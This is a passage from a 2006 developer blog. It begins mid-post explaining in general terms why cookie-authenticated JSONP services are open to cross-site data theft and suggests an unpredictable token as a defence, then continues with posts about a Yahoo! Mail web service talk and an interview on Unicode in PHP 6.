This is one of the problems with providing JSONP web services via HTTP GET when you rely on using cookies for credentials. You have to be very careful to ensure that other domains can’t use the browser cookie jar to their own benefit. If you’re going to rely on cookies for credentials, you need to add a second mechanism to prevent the script tag attacks. Some additional parameter that needs to change in some non-predictable manner that prevents 3rd party sites from raiding your user data.

Anyway, Google has a couple of smart people so I’m sure they’ll do something about this. They can’t have other websites raiding their user’s information like this.

If you need me on Friday…

Tuesday, September 26th, 2006

now you know where to find me. At 10am I’ll be sweating bullets giving my talk on the new Yahoo! Mail web service. This has been a long time in coming. When I joined Yahoo! almost 2 years ago, I was hired specifically to work on the web service. I’ve always wanted to see a mail web service made public and now it’s finally happening.

On Friday, we’re pushing a prerelease of the web service out the door just in time for Open Hack Day and I’m…totally freaking out. I’ve never given a talk this big before and I still have a bunch of stuff to do (writing some sample code and documentation, getting my slides together, etc). But I’ll make it. ;)

I know this post is short on details, but be patient. I’m hoping we can get more information out after all the craziness of hack day subsides (September has been a very long, busy month). I’ll see if they will let me publish the slides from my talk here. I can’t say for sure when we’ll go from prerelease to official release, yet…but hopefully it won’t take too long. Most of the details are finished. Think of this as the “invite only” period of the web service.

If you’re lucky enough to be coming to Yahoo! on Friday to hack, then you already have an invitation to use the web service. So come to my session, learn all about the Yahoo! Mail web service and then “shock and awe” us all with a “technically sweet” mail hack.

Zend Developer Zone interviews Andrei

Wednesday, August 30th, 2006

The Zend Developer Zone recently interviewed Andrei Zmievski. It’s a good interview discussing some of the Unicode work Andrei is doing for PHP 6. I’m really looking forward to seeing Unicode built right into the language. After writing Java webapps for more than 5 years, Unicode was something I took for granted. When you leave Java and move to other languages and toolkits, Unicode (in most cases) isn’t something that’s provided for free.

Unicode becomes especially important for applications like webmail. Even if you don’t want to localize for users in other countries, you have to be able to display an email message written in Japanese sent to a user in the United States. That sounds like it should be easy, but it isn’t always. Even more crucial, what happens when you have a long running conversation with your Japanese friend, your Russian friend and your Chinese friend? Now you’ve got three languages to support. That’s something you just don’t pull off without Unicode (well, you can, but not without pain and suffering).
Andrei also discusses the PHP hivemind employed by Yahoo!. Seriously, if you need help with PHP at Yahoo! and you can’t find someone who can help…then you haven’t looked very hard. There’s a link to Michael Radwin’s presentation on why Yahoo! settled on PHP for building webapps.